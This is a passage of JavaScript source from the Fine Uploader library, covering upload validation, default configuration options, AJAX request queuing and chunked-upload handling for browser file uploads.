            _onInputChange: function(input) {
                var fileIndex;
                if (qq.supportedFeatures.ajaxUploading) {
                    for (fileIndex = 0; fileIndex < input.files.length; fileIndex++) {
                        this._annotateWithButtonId(input.files[fileIndex], input);
                    }
                    this.addFiles(input.files);
                } else if (input.value.length > 0) {
                    this.addFiles(input);
                }
                qq.each(this._buttons, function(idx, button) {
                    button.reset();
                });
            },
            _onProgress: function(id, name, loaded, total) {
                this._totalProgress && this._totalProgress.onIndividualProgress(id, loaded, total);
            },
            _onSubmit: function(id, name) {},
            _onSubmitCallbackSuccess: function(id, name) {
                this._onSubmit.apply(this, arguments);
                this._uploadData.setStatus(id, qq.status.SUBMITTED);
                this._onSubmitted.apply(this, arguments);
                if (this._options.autoUpload) {
                    this._options.callbacks.onSubmitted.apply(this, arguments);
                    this._uploadFile(id);
                } else {
                    this._storeForLater(id);
                    this._options.callbacks.onSubmitted.apply(this, arguments);
                }
            },
            _onSubmitDelete: function(id, onSuccessCallback, additionalMandatedParams) {
                var uuid = this.getUuid(id), adjustedOnSuccessCallback;
                if (onSuccessCallback) {
                    adjustedOnSuccessCallback = qq.bind(onSuccessCallback, this, id, uuid, additionalMandatedParams);
                }
                if (this._isDeletePossible()) {
                    this._handleCheckedCallback({
                        name: "onSubmitDelete",
                        callback: qq.bind(this._options.callbacks.onSubmitDelete, this, id),
                        onSuccess: adjustedOnSuccessCallback || qq.bind(this._deleteHandler.sendDelete, this, id, uuid, additionalMandatedParams),
                        identifier: id
                    });
                    return true;
                } else {
                    this.log("Delete request ignored for ID " + id + ", delete feature is disabled or request not possible " + "due to CORS on a user agent that does not support pre-flighting.", "warn");
                    return false;
                }
            },
            _onSubmitted: function(id) {},
            _onTotalProgress: function(loaded, total) {
                this._options.callbacks.onTotalProgress(loaded, total);
            },
            _onUploadPrep: function(id) {},
            _onUpload: function(id, name) {
                this._uploadData.setStatus(id, qq.status.UPLOADING);
            },
            _onUploadChunk: function(id, chunkData) {},
            _onUploadStatusChange: function(id, oldStatus, newStatus) {
                if (newStatus === qq.status.PAUSED) {
                    clearTimeout(this._retryTimeouts[id]);
                }
            },
            _onValidateBatchCallbackFailure: function(fileWrappers) {
                var self = this;
                qq.each(fileWrappers, function(idx, fileWrapper) {
                    self._fileOrBlobRejected(fileWrapper.id);
                });
            },
            _onValidateBatchCallbackSuccess: function(validationDescriptors, items, params, endpoint, button) {
                var errorMessage, itemLimit = this._currentItemLimit, proposedNetFilesUploadedOrQueued = this._netUploadedOrQueued;
                if (itemLimit === 0 || proposedNetFilesUploadedOrQueued <= itemLimit) {
                    if (items.length > 0) {
                        this._handleCheckedCallback({
                            name: "onValidate",
                            callback: qq.bind(this._options.callbacks.onValidate, this, validationDescriptors[0], button),
                            onSuccess: qq.bind(this._onValidateCallbackSuccess, this, items, 0, params, endpoint),
                            onFailure: qq.bind(this._onValidateCallbackFailure, this, items, 0, params, endpoint),
                            identifier: "Item '" + items[0].file.name + "', size: " + items[0].file.size
                        });
                    } else {
                        this._itemError("noFilesError");
                    }
                } else {
                    this._onValidateBatchCallbackFailure(items);
                    errorMessage = this._options.messages.tooManyItemsError.replace(/\{netItems\}/g, proposedNetFilesUploadedOrQueued).replace(/\{itemLimit\}/g, itemLimit);
                    this._batchError(errorMessage);
                }
            },
            _onValidateCallbackFailure: function(items, index, params, endpoint) {
                var nextIndex = index + 1;
                this._fileOrBlobRejected(items[index].id, items[index].file.name);
                this._maybeProcessNextItemAfterOnValidateCallback(false, items, nextIndex, params, endpoint);
            },
            _onValidateCallbackSuccess: function(items, index, params, endpoint) {
                var self = this, nextIndex = index + 1, validationDescriptor = this._getValidationDescriptor(items[index]);
                this._validateFileOrBlobData(items[index], validationDescriptor).then(function() {
                    self._upload(items[index].id, params, endpoint);
                    self._maybeProcessNextItemAfterOnValidateCallback(true, items, nextIndex, params, endpoint);
                }, function() {
                    self._maybeProcessNextItemAfterOnValidateCallback(false, items, nextIndex, params, endpoint);
                });
            },
            _prepareItemsForUpload: function(items, params, endpoint) {
                if (items.length === 0) {
                    this._itemError("noFilesError");
                    return;
                }
                var validationDescriptors = this._getValidationDescriptors(items), buttonId = this._getButtonId(items[0].file), button = this._getButton(buttonId);
                this._handleCheckedCallback({
                    name: "onValidateBatch",
                    callback: qq.bind(this._options.callbacks.onValidateBatch, this, validationDescriptors, button),
                    onSuccess: qq.bind(this._onValidateBatchCallbackSuccess, this, validationDescriptors, items, params, endpoint, button),
                    onFailure: qq.bind(this._onValidateBatchCallbackFailure, this, items),
                    identifier: "batch validation"
                });
            },
            _preventLeaveInProgress: function() {
                var self = this;
                this._disposeSupport.attach(window, "beforeunload", function(e) {
                    if (self.getInProgress()) {
                        e = e || window.event;
                        e.returnValue = self._options.messages.onLeave;
                        return self._options.messages.onLeave;
                    }
                });
            },
            _refreshSessionData: function() {
                var self = this, options = this._options.session;
                if (qq.Session && this._options.session.endpoint != null) {
                    if (!this._session) {
                        qq.extend(options, {
                            cors: this._options.cors
                        });
                        options.log = qq.bind(this.log, this);
                        options.addFileRecord = qq.bind(this._addCannedFile, this);
                        this._session = new qq.Session(options);
                    }
                    setTimeout(function() {
                        self._session.refresh().then(function(response, xhrOrXdr) {
                            self._sessionRequestComplete();
                            self._options.callbacks.onSessionRequestComplete(response, true, xhrOrXdr);
                        }, function(response, xhrOrXdr) {
                            self._options.callbacks.onSessionRequestComplete(response, false, xhrOrXdr);
                        });
                    }, 0);
                }
            },
            _sessionRequestComplete: function() {},
            _setSize: function(id, newSize) {
                this._uploadData.updateSize(id, newSize);
                this._totalProgress && this._totalProgress.onNewSize(id);
            },
            _shouldAutoRetry: function(id, name, responseJSON) {
                var uploadData = this._uploadData.retrieve({
                    id: id
                });
                if (!this._preventRetries[id] && this._options.retry.enableAuto && uploadData.status !== qq.status.PAUSED) {
                    if (this._autoRetries[id] === undefined) {
                        this._autoRetries[id] = 0;
                    }
                    if (this._autoRetries[id] < this._options.retry.maxAutoAttempts) {
                        this._autoRetries[id] += 1;
                        return true;
                    }
                }
                return false;
            },
            _storeForLater: function(id) {
                this._storedIds.push(id);
            },
            _trackButton: function(id) {
                var buttonId;
                if (qq.supportedFeatures.ajaxUploading) {
                    buttonId = this._handler.getFile(id).qqButtonId;
                } else {
                    buttonId = this._getButtonId(this._handler.getInput(id));
                }
                if (buttonId) {
                    this._buttonIdsForFileIds[id] = buttonId;
                }
            },
            _updateFormSupportAndParams: function(formElementOrId) {
                this._options.form.element = formElementOrId;
                this._formSupport = qq.FormSupport && new qq.FormSupport(this._options.form, qq.bind(this.uploadStoredFiles, this), qq.bind(this.log, this));
                if (this._formSupport && this._formSupport.attachedToForm) {
                    this._paramsStore.addReadOnly(null, this._formSupport.getFormInputsAsObject);
                    this._options.autoUpload = this._formSupport.newAutoUpload;
                    if (this._formSupport.newEndpoint) {
                        this.setEndpoint(this._formSupport.newEndpoint);
                    }
                }
            },
            _upload: function(id, params, endpoint) {
                var name = this.getName(id);
                if (params) {
                    this.setParams(params, id);
                }
                if (endpoint) {
                    this.setEndpoint(endpoint, id);
                }
                this._handleCheckedCallback({
                    name: "onSubmit",
                    callback: qq.bind(this._options.callbacks.onSubmit, this, id, name),
                    onSuccess: qq.bind(this._onSubmitCallbackSuccess, this, id, name),
                    onFailure: qq.bind(this._fileOrBlobRejected, this, id, name),
                    identifier: id
                });
            },
            _uploadFile: function(id) {
                if (!this._handler.upload(id)) {
                    this._uploadData.setStatus(id, qq.status.QUEUED);
                }
            },
            _uploadStoredFiles: function() {
                var idToUpload, stillSubmitting, self = this;
                while (this._storedIds.length) {
                    idToUpload = this._storedIds.shift();
                    this._uploadFile(idToUpload);
                }
                stillSubmitting = this.getUploads({
                    status: qq.status.SUBMITTING
                }).length;
                if (stillSubmitting) {
                    qq.log("Still waiting for " + stillSubmitting + " files to clear submit queue. Will re-parse stored IDs array shortly.");
                    setTimeout(function() {
                        self._uploadStoredFiles();
                    }, 1e3);
                }
            },
            _validateFileOrBlobData: function(fileWrapper, validationDescriptor) {
                var self = this, file = function() {
                    if (fileWrapper.file instanceof qq.BlobProxy) {
                        return fileWrapper.file.referenceBlob;
                    }
                    return fileWrapper.file;
                }(), name = validationDescriptor.name, size = validationDescriptor.size, buttonId = this._getButtonId(fileWrapper.file), validationBase = this._getValidationBase(buttonId), validityChecker = new qq.Promise();
                validityChecker.then(function() {}, function() {
                    self._fileOrBlobRejected(fileWrapper.id, name);
                });
                if (qq.isFileOrInput(file) && !this._isAllowedExtension(validationBase.allowedExtensions, name)) {
                    this._itemError("typeError", name, file);
                    return validityChecker.failure();
                }
                if (size === 0) {
                    this._itemError("emptyError", name, file);
                    return validityChecker.failure();
                }
                if (size > 0 && validationBase.sizeLimit && size > validationBase.sizeLimit) {
                    this._itemError("sizeError", name, file);
                    return validityChecker.failure();
                }
                if (size > 0 && size < validationBase.minSizeLimit) {
                    this._itemError("minSizeError", name, file);
                    return validityChecker.failure();
                }
                if (qq.ImageValidation && qq.supportedFeatures.imagePreviews && qq.isFile(file)) {
                    new qq.ImageValidation(file, qq.bind(self.log, self)).validate(validationBase.image).then(validityChecker.success, function(errorCode) {
                        self._itemError(errorCode + "ImageError", name, file);
                        validityChecker.failure();
                    });
                } else {
                    validityChecker.success();
                }
                return validityChecker;
            },
            _wrapCallbacks: function() {
                var self, safeCallback, prop;
                self = this;
                safeCallback = function(name, callback, args) {
                    var errorMsg;
                    try {
                        return callback.apply(self, args);
                    } catch (exception) {
                        errorMsg = exception.message || exception.toString();
                        self.log("Caught exception in '" + name + "' callback - " + errorMsg, "error");
                    }
                };
                for (prop in this._options.callbacks) {
                    (function() {
                        var callbackName, callbackFunc;
                        callbackName = prop;
                        callbackFunc = self._options.callbacks[callbackName];
                        self._options.callbacks[callbackName] = function() {
                            return safeCallback(callbackName, callbackFunc, arguments);
                        };
                    })();
                }
            }
        };
    })();
    (function() {
        "use strict";
        qq.FineUploaderBasic = function(o) {
            var self = this;
            this._options = {
                debug: false,
                button: null,
                multiple: true,
                maxConnections: 3,
                disableCancelForFormUploads: false,
                autoUpload: true,
                request: {
                    customHeaders: {},
                    endpoint: "/server/upload",
                    filenameParam: "qqfilename",
                    forceMultipart: true,
                    inputName: "qqfile",
                    method: "POST",
                    params: {},
                    paramsInBody: true,
                    totalFileSizeName: "qqtotalfilesize",
                    uuidName: "qquuid"
                },
                validation: {
                    allowedExtensions: [],
                    sizeLimit: 0,
                    minSizeLimit: 0,
                    itemLimit: 0,
                    stopOnFirstInvalidFile: true,
                    acceptFiles: null,
                    image: {
                        maxHeight: 0,
                        maxWidth: 0,
                        minHeight: 0,
                        minWidth: 0
                    }
                },
                callbacks: {
                    onSubmit: function(id, name) {},
                    onSubmitted: function(id, name) {},
                    onComplete: function(id, name, responseJSON, maybeXhr) {},
                    onAllComplete: function(successful, failed) {},
                    onCancel: function(id, name) {},
                    onUpload: function(id, name) {},
                    onUploadChunk: function(id, name, chunkData) {},
                    onUploadChunkSuccess: function(id, chunkData, responseJSON, xhr) {},
                    onResume: function(id, fileName, chunkData) {},
                    onProgress: function(id, name, loaded, total) {},
                    onTotalProgress: function(loaded, total) {},
                    onError: function(id, name, reason, maybeXhrOrXdr) {},
                    onAutoRetry: function(id, name, attemptNumber) {},
                    onManualRetry: function(id, name) {},
                    onValidateBatch: function(fileOrBlobData) {},
                    onValidate: function(fileOrBlobData) {},
                    onSubmitDelete: function(id) {},
                    onDelete: function(id) {},
                    onDeleteComplete: function(id, xhrOrXdr, isError) {},
                    onPasteReceived: function(blob) {},
                    onStatusChange: function(id, oldStatus, newStatus) {},
                    onSessionRequestComplete: function(response, success, xhrOrXdr) {}
                },
                messages: {
                    typeError: "{file} has an invalid extension. Valid extension(s): {extensions}.",
                    sizeError: "{file} is too large, maximum file size is {sizeLimit}.",
                    minSizeError: "{file} is too small, minimum file size is {minSizeLimit}.",
                    emptyError: "{file} is empty, please select files again without it.",
                    noFilesError: "No files to upload.",
                    tooManyItemsError: "Too many items ({netItems}) would be uploaded.  Item limit is {itemLimit}.",
                    maxHeightImageError: "Image is too tall.",
                    maxWidthImageError: "Image is too wide.",
                    minHeightImageError: "Image is not tall enough.",
                    minWidthImageError: "Image is not wide enough.",
                    retryFailTooManyItems: "Retry failed - you have reached your file limit.",
                    onLeave: "The files are being uploaded, if you leave now the upload will be canceled.",
                    unsupportedBrowserIos8Safari: "Unrecoverable error - this browser does not permit file uploading of any kind due to serious bugs in iOS8 Safari.  Please use iOS8 Chrome until Apple fixes these issues."
                },
                retry: {
                    enableAuto: false,
                    maxAutoAttempts: 3,
                    autoAttemptDelay: 5,
                    preventRetryResponseProperty: "preventRetry"
                },
                classes: {
                    buttonHover: "qq-upload-button-hover",
                    buttonFocus: "qq-upload-button-focus"
                },
                chunking: {
                    enabled: false,
                    concurrent: {
                        enabled: false
                    },
                    mandatory: false,
                    paramNames: {
                        partIndex: "qqpartindex",
                        partByteOffset: "qqpartbyteoffset",
                        chunkSize: "qqchunksize",
                        totalFileSize: "qqtotalfilesize",
                        totalParts: "qqtotalparts"
                    },
                    partSize: 2e6,
                    success: {
                        endpoint: null
                    }
                },
                resume: {
                    enabled: false,
                    recordsExpireIn: 7,
                    paramNames: {
                        resuming: "qqresume"
                    }
                },
                formatFileName: function(fileOrBlobName) {
                    return fileOrBlobName;
                },
                text: {
                    defaultResponseError: "Upload failure reason unknown",
                    fileInputTitle: "file input",
                    sizeSymbols: [ "kB", "MB", "GB", "TB", "PB", "EB" ]
                },
                deleteFile: {
                    enabled: false,
                    method: "DELETE",
                    endpoint: "/server/upload",
                    customHeaders: {},
                    params: {}
                },
                cors: {
                    expected: false,
                    sendCredentials: false,
                    allowXdr: false
                },
                blobs: {
                    defaultName: "misc_data"
                },
                paste: {
                    targetElement: null,
                    defaultName: "pasted_image"
                },
                camera: {
                    ios: false,
                    button: null
                },
                extraButtons: [],
                session: {
                    endpoint: null,
                    params: {},
                    customHeaders: {},
                    refreshOnReset: true
                },
                form: {
                    element: "qq-form",
                    autoUpload: false,
                    interceptSubmit: true
                },
                scaling: {
                    customResizer: null,
                    sendOriginal: true,
                    orient: true,
                    defaultType: null,
                    defaultQuality: 80,
                    failureText: "Failed to scale",
                    includeExif: false,
                    sizes: []
                },
                workarounds: {
                    iosEmptyVideos: true,
                    ios8SafariUploads: true,
                    ios8BrowserCrash: false
                }
            };
            qq.extend(this._options, o, true);
            this._buttons = [];
            this._extraButtonSpecs = {};
            this._buttonIdsForFileIds = [];
            this._wrapCallbacks();
            this._disposeSupport = new qq.DisposeSupport();
            this._storedIds = [];
            this._autoRetries = [];
            this._retryTimeouts = [];
            this._preventRetries = [];
            this._thumbnailUrls = [];
            this._netUploadedOrQueued = 0;
            this._netUploaded = 0;
            this._uploadData = this._createUploadDataTracker();
            this._initFormSupportAndParams();
            this._customHeadersStore = this._createStore(this._options.request.customHeaders);
            this._deleteFileCustomHeadersStore = this._createStore(this._options.deleteFile.customHeaders);
            this._deleteFileParamsStore = this._createStore(this._options.deleteFile.params);
            this._endpointStore = this._createStore(this._options.request.endpoint);
            this._deleteFileEndpointStore = this._createStore(this._options.deleteFile.endpoint);
            this._handler = this._createUploadHandler();
            this._deleteHandler = qq.DeleteFileAjaxRequester && this._createDeleteHandler();
            if (this._options.button) {
                this._defaultButtonId = this._createUploadButton({
                    element: this._options.button,
                    title: this._options.text.fileInputTitle
                }).getButtonId();
            }
            this._generateExtraButtonSpecs();
            this._handleCameraAccess();
            if (this._options.paste.targetElement) {
                if (qq.PasteSupport) {
                    this._pasteHandler = this._createPasteHandler();
                } else {
                    this.log("Paste support module not found", "error");
                }
            }
            this._preventLeaveInProgress();
            this._imageGenerator = qq.ImageGenerator && new qq.ImageGenerator(qq.bind(this.log, this));
            this._refreshSessionData();
            this._succeededSinceLastAllComplete = [];
            this._failedSinceLastAllComplete = [];
            this._scaler = qq.Scaler && new qq.Scaler(this._options.scaling, qq.bind(this.log, this)) || {};
            if (this._scaler.enabled) {
                this._customNewFileHandler = qq.bind(this._scaler.handleNewFile, this._scaler);
            }
            if (qq.TotalProgress && qq.supportedFeatures.progressBar) {
                this._totalProgress = new qq.TotalProgress(qq.bind(this._onTotalProgress, this), function(id) {
                    var entry = self._uploadData.retrieve({
                        id: id
                    });
                    return entry && entry.size || 0;
                });
            }
            this._currentItemLimit = this._options.validation.itemLimit;
        };
        qq.FineUploaderBasic.prototype = qq.basePublicApi;
        qq.extend(qq.FineUploaderBasic.prototype, qq.basePrivateApi);
    })();
    qq.AjaxRequester = function(o) {
        "use strict";
        var log, shouldParamsBeInQueryString, queue = [], requestData = {}, options = {
            acceptHeader: null,
            validMethods: [ "PATCH", "POST", "PUT" ],
            method: "POST",
            contentType: "application/x-www-form-urlencoded",
            maxConnections: 3,
            customHeaders: {},
            endpointStore: {},
            paramsStore: {},
            mandatedParams: {},
            allowXRequestedWithAndCacheControl: true,
            successfulResponseCodes: {
                DELETE: [ 200, 202, 204 ],
                PATCH: [ 200, 201, 202, 203, 204 ],
                POST: [ 200, 201, 202, 203, 204 ],
                PUT: [ 200, 201, 202, 203, 204 ],
                GET: [ 200 ]
            },
            cors: {
                expected: false,
                sendCredentials: false
            },
            log: function(str, level) {},
            onSend: function(id) {},
            onComplete: function(id, xhrOrXdr, isError) {},
            onProgress: null
        };
        qq.extend(options, o);
        log = options.log;
        if (qq.indexOf(options.validMethods, options.method) < 0) {
            throw new Error("'" + options.method + "' is not a supported method for this type of request!");
        }
        function isSimpleMethod() {
            return qq.indexOf([ "GET", "POST", "HEAD" ], options.method) >= 0;
        }
        function containsNonSimpleHeaders(headers) {
            var containsNonSimple = false;
            qq.each(containsNonSimple, function(idx, header) {
                if (qq.indexOf([ "Accept", "Accept-Language", "Content-Language", "Content-Type" ], header) < 0) {
                    containsNonSimple = true;
                    return false;
                }
            });
            return containsNonSimple;
        }
        function isXdr(xhr) {
            return options.cors.expected && xhr.withCredentials === undefined;
        }
        function getCorsAjaxTransport() {
            var xhrOrXdr;
            if (window.XMLHttpRequest || window.ActiveXObject) {
                xhrOrXdr = qq.createXhrInstance();
                if (xhrOrXdr.withCredentials === undefined) {
                    xhrOrXdr = new XDomainRequest();
                    xhrOrXdr.onload = function() {};
                    xhrOrXdr.onerror = function() {};
                    xhrOrXdr.ontimeout = function() {};
                    xhrOrXdr.onprogress = function() {};
                }
            }
            return xhrOrXdr;
        }
        function getXhrOrXdr(id, suppliedXhr) {
            var xhrOrXdr = requestData[id].xhr;
            if (!xhrOrXdr) {
                if (suppliedXhr) {
                    xhrOrXdr = suppliedXhr;
                } else {
                    if (options.cors.expected) {
                        xhrOrXdr = getCorsAjaxTransport();
                    } else {
                        xhrOrXdr = qq.createXhrInstance();
                    }
                }
                requestData[id].xhr = xhrOrXdr;
            }
            return xhrOrXdr;
        }
        function dequeue(id) {
            var i = qq.indexOf(queue, id), max = options.maxConnections, nextId;
            delete requestData[id];
            queue.splice(i, 1);
            if (queue.length >= max && i < max) {
                nextId = queue[max - 1];
                sendRequest(nextId);
            }
        }
        function onComplete(id, xdrError) {
            var xhr = getXhrOrXdr(id), method = options.method, isError = xdrError === true;
            dequeue(id);
            if (isError) {
                log(method + " request for " + id + " has failed", "error");
            } else if (!isXdr(xhr) && !isResponseSuccessful(xhr.status)) {
                isError = true;
                log(method + " request for " + id + " has failed - response code " + xhr.status, "error");
            }
            options.onComplete(id, xhr, isError);
        }
        function getParams(id) {
            var onDemandParams = requestData[id].additionalParams, mandatedParams = options.mandatedParams, params;
            if (options.paramsStore.get) {
                params = options.paramsStore.get(id);
            }
            if (onDemandParams) {
                qq.each(onDemandParams, function(name, val) {
                    params = params || {};
                    params[name] = val;
                });
            }
            if (mandatedParams) {
                qq.each(mandatedParams, function(name, val) {
                    params = params || {};
                    params[name] = val;
                });
            }
            return params;
        }
        function sendRequest(id, optXhr) {
            var xhr = getXhrOrXdr(id, optXhr), method = options.method, params = getParams(id), payload = requestData[id].payload, url;
            options.onSend(id);
            url = createUrl(id, params, requestData[id].additionalQueryParams);
            if (isXdr(xhr)) {
                xhr.onload = getXdrLoadHandler(id);
                xhr.onerror = getXdrErrorHandler(id);
            } else {
                xhr.onreadystatechange = getXhrReadyStateChangeHandler(id);
            }
            registerForUploadProgress(id);
            xhr.open(method, url, true);
            if (options.cors.expected && options.cors.sendCredentials && !isXdr(xhr)) {
                xhr.withCredentials = true;
            }
            setHeaders(id);
            log("Sending " + method + " request for " + id);
            if (payload) {
                xhr.send(payload);
            } else if (shouldParamsBeInQueryString || !params) {
                xhr.send();
            } else if (params && options.contentType && options.contentType.toLowerCase().indexOf("application/x-www-form-urlencoded") >= 0) {
                xhr.send(qq.obj2url(params, ""));
            } else if (params && options.contentType && options.contentType.toLowerCase().indexOf("application/json") >= 0) {
                xhr.send(JSON.stringify(params));
            } else {
                xhr.send(params);
            }
            return xhr;
        }
        function createUrl(id, params, additionalQueryParams) {
            var endpoint = options.endpointStore.get(id), addToPath = requestData[id].addToPath;
            if (addToPath != undefined) {
                endpoint += "/" + addToPath;
            }
            if (shouldParamsBeInQueryString && params) {
                endpoint = qq.obj2url(params, endpoint);
            }
            if (additionalQueryParams) {
                endpoint = qq.obj2url(additionalQueryParams, endpoint);
            }
            return endpoint;
        }
        function getXhrReadyStateChangeHandler(id) {
            return function() {
                if (getXhrOrXdr(id).readyState === 4) {
                    onComplete(id);
                }
            };
        }
        function registerForUploadProgress(id) {
            var onProgress = options.onProgress;
            if (onProgress) {
                getXhrOrXdr(id).upload.onprogress = function(e) {
                    if (e.lengthComputable) {
                        onProgress(id, e.loaded, e.total);
                    }
                };
            }
        }
        function getXdrLoadHandler(id) {
            return function() {
                onComplete(id);
            };
        }
        function getXdrErrorHandler(id) {
            return function() {
                onComplete(id, true);
            };
        }
        function setHeaders(id) {
            var xhr = getXhrOrXdr(id), customHeaders = options.customHeaders, onDemandHeaders = requestData[id].additionalHeaders || {}, method = options.method, allHeaders = {};
            if (!isXdr(xhr)) {
                options.acceptHeader && xhr.setRequestHeader("Accept", options.acceptHeader);
                if (options.allowXRequestedWithAndCacheControl) {
                    if (!options.cors.expected || (!isSimpleMethod() || containsNonSimpleHeaders(customHeaders))) {
                        xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
                        xhr.setRequestHeader("Cache-Control", "no-cache");
                    }
                }
                if (options.contentType && (method === "POST" || method === "PUT")) {
                    xhr.setRequestHeader("Content-Type", options.contentType);
                }
                qq.extend(allHeaders, qq.isFunction(customHeaders) ? customHeaders(id) : customHeaders);
                qq.extend(allHeaders, onDemandHeaders);
                qq.each(allHeaders, function(name, val) {
                    xhr.setRequestHeader(name, val);
                });
            }
        }
        function isResponseSuccessful(responseCode) {
            return qq.indexOf(options.successfulResponseCodes[options.method], responseCode) >= 0;
        }
        function prepareToSend(id, optXhr, addToPath, additionalParams, additionalQueryParams, additionalHeaders, payload) {
            requestData[id] = {
                addToPath: addToPath,
                additionalParams: additionalParams,
                additionalQueryParams: additionalQueryParams,
                additionalHeaders: additionalHeaders,
                payload: payload
            };
            var len = queue.push(id);
            if (len <= options.maxConnections) {
                return sendRequest(id, optXhr);
            }
        }
        shouldParamsBeInQueryString = options.method === "GET" || options.method === "DELETE";
        qq.extend(this, {
            initTransport: function(id) {
                var path, params, headers, payload, cacheBuster, additionalQueryParams;
                return {
                    withPath: function(appendToPath) {
                        path = appendToPath;
                        return this;
                    },
                    withParams: function(additionalParams) {
                        params = additionalParams;
                        return this;
                    },
                    withQueryParams: function(_additionalQueryParams_) {
                        additionalQueryParams = _additionalQueryParams_;
                        return this;
                    },
                    withHeaders: function(additionalHeaders) {
                        headers = additionalHeaders;
                        return this;
                    },
                    withPayload: function(thePayload) {
                        payload = thePayload;
                        return this;
                    },
                    withCacheBuster: function() {
                        cacheBuster = true;
                        return this;
                    },
                    send: function(optXhr) {
                        if (cacheBuster && qq.indexOf([ "GET", "DELETE" ], options.method) >= 0) {
                            params.qqtimestamp = new Date().getTime();
                        }
                        return prepareToSend(id, optXhr, path, params, additionalQueryParams, headers, payload);
                    }
                };
            },
            canceled: function(id) {
                dequeue(id);
            }
        });
    };
    qq.UploadHandler = function(spec) {
        "use strict";
        var proxy = spec.proxy, fileState = {}, onCancel = proxy.onCancel, getName = proxy.getName;
        qq.extend(this, {
            add: function(id, fileItem) {
                fileState[id] = fileItem;
                fileState[id].temp = {};
            },
            cancel: function(id) {
                var self = this, cancelFinalizationEffort = new qq.Promise(), onCancelRetVal = onCancel(id, getName(id), cancelFinalizationEffort);
                onCancelRetVal.then(function() {
                    if (self.isValid(id)) {
                        fileState[id].canceled = true;
                        self.expunge(id);
                    }
                    cancelFinalizationEffort.success();
                });
            },
            expunge: function(id) {
                delete fileState[id];
            },
            getThirdPartyFileId: function(id) {
                return fileState[id].key;
            },
            isValid: function(id) {
                return fileState[id] !== undefined;
            },
            reset: function() {
                fileState = {};
            },
            _getFileState: function(id) {
                return fileState[id];
            },
            _setThirdPartyFileId: function(id, thirdPartyFileId) {
                fileState[id].key = thirdPartyFileId;
            },
            _wasCanceled: function(id) {
                return !!fileState[id].canceled;
            }
        });
    };
    qq.UploadHandlerController = function(o, namespace) {
        "use strict";
        var controller = this, chunkingPossible = false, concurrentChunkingPossible = false, chunking, preventRetryResponse, log, handler, options = {
            paramsStore: {},
            maxConnections: 3,
            chunking: {
                enabled: false,
                multiple: {
                    enabled: false
                }
            },
            log: function(str, level) {},
            onProgress: function(id, fileName, loaded, total) {},
            onComplete: function(id, fileName, response, xhr) {},
            onCancel: function(id, fileName) {},
            onUploadPrep: function(id) {},
            onUpload: function(id, fileName) {},
            onUploadChunk: function(id, fileName, chunkData) {},
            onUploadChunkSuccess: function(id, chunkData, response, xhr) {},
            onAutoRetry: function(id, fileName, response, xhr) {},
            onResume: function(id, fileName, chunkData) {},
            onUuidChanged: function(id, newUuid) {},
            getName: function(id) {},
            setSize: function(id, newSize) {},
            isQueued: function(id) {},
            getIdsInProxyGroup: function(id) {},
            getIdsInBatch: function(id) {}
        }, chunked = {
            done: function(id, chunkIdx, response, xhr) {
                var chunkData = handler._getChunkData(id, chunkIdx);
                handler._getFileState(id).attemptingResume = false;
                delete handler._getFileState(id).temp.chunkProgress[chunkIdx];
                handler._getFileState(id).loaded += chunkData.size;
                options.onUploadChunkSuccess(id, handler._getChunkDataForCallback(chunkData), response, xhr);
            },
            finalize: function(id) {
                var size = options.getSize(id), name = options.getName(id);
                log("All chunks have been uploaded for " + id + " - finalizing....");
                handler.finalizeChunks(id).then(function(response, xhr) {
                    log("Finalize successful for " + id);
                    var normaizedResponse = upload.normalizeResponse(response, true);
                    options.onProgress(id, name, size, size);
                    handler._maybeDeletePersistedChunkData(id);
                    upload.cleanup(id, normaizedResponse, xhr);
                }, function(response, xhr) {
                    var normaizedResponse = upload.normalizeResponse(response, false);
                    log("Problem finalizing chunks for file ID " + id + " - " + normaizedResponse.error, "error");
                    if (normaizedResponse.reset) {
                        chunked.reset(id);
                    }
                    if (!options.onAutoRetry(id, name, normaizedResponse, xhr)) {
                        upload.cleanup(id, normaizedResponse, xhr);
                    }
                });
            },
            hasMoreParts: function(id) {
                return !!handler._getFileState(id).chunking.remaining.length;
            },
            nextPart: function(id) {
                var nextIdx = handler._getFileState(id).chunking.remaining.shift();
                if (nextIdx >= handler._getTotalChunks(id)) {
                    nextIdx = null;
                }
                return nextIdx;
            },
            reset: function(id) {
                log("Server or callback has ordered chunking effort to be restarted on next attempt for item ID " + id, "error");
                handler._maybeDeletePersistedChunkData(id);
                handler.reevaluateChunking(id);
                handler._getFileState(id).loaded = 0;
            },
            sendNext: function(id) {
                var size = options.getSize(id), name = options.getName(id), chunkIdx = chunked.nextPart(id), chunkData = handler._getChunkData(id, chunkIdx), resuming = handler._getFileState(id).attemptingResume, inProgressChunks = handler._getFileState(id).chunking.inProgress || [];
                if (handler._getFileState(id).loaded == null) {
                    handler._getFileState(id).loaded = 0;
                }
                if (resuming && options.onResume(id, name, chunkData) === false) {
                    chunked.reset(id);
                    chunkIdx = chunked.nextPart(id);
                    chunkData = handler._getChunkData(id, chunkIdx);
                    resuming = false;
                }
                if (chunkIdx == null && inProgressChunks.length === 0) {
                    chunked.finalize(id);
                } else {
                    log(qq.format("Sending chunked upload request for item {}.{}, bytes {}-{} of {}.", id, chunkIdx, chunkData.start + 1, chunkData.end, size));
                    options.onUploadChunk(id, name, handler._getChunkDataForCallback(chunkData));
                    inProgressChunks.push(chunkIdx);
                    handler._getFileState(id).chunking.inProgress = inProgressChunks;
                    if (concurrentChunkingPossible) {
                        connectionManager.open(id, chunkIdx);
                    }
                    if (concurrentChunkingPossible && connectionManager.available() && handler._getFileState(id).chunking.remaining.length) {
                        chunked.sendNext(id);
                    }
                    handler.uploadChunk(id, chunkIdx, resuming).then(function success(response, xhr) {
                        log("Chunked upload request succeeded for " + id + ", chunk " + chunkIdx);
                        handler.clearCachedChunk(id, chunkIdx);
                        var inProgressChunks = handler._getFileState(id).chunking.inProgress || [], responseToReport = upload.normalizeResponse(response, true), inProgressChunkIdx = qq.indexOf(inProgressChunks, chunkIdx);
                        log(qq.format("Chunk {} for file {} uploaded successfully.", chunkIdx, id));
                        chunked.done(id, chunkIdx, responseToReport, xhr);
                        if (inProgressChunkIdx >= 0) {
                            inProgressChunks.splice(inProgressChunkIdx, 1);
                        }
                        handler._maybePersistChunkedState(id);
                        if (!chunked.hasMoreParts(id) && inProgressChunks.length === 0) {
                            chunked.finalize(id);
                        } else if (chunked.hasMoreParts(id)) {
                            chunked.sendNext(id);
                        } else {
                            log(qq.format("File ID {} has no more chunks to send and these chunk indexes are still marked as in-progress: {}", id, JSON.stringify(inProgressChunks)));
                        }
                    }, function failure(response, xhr) {
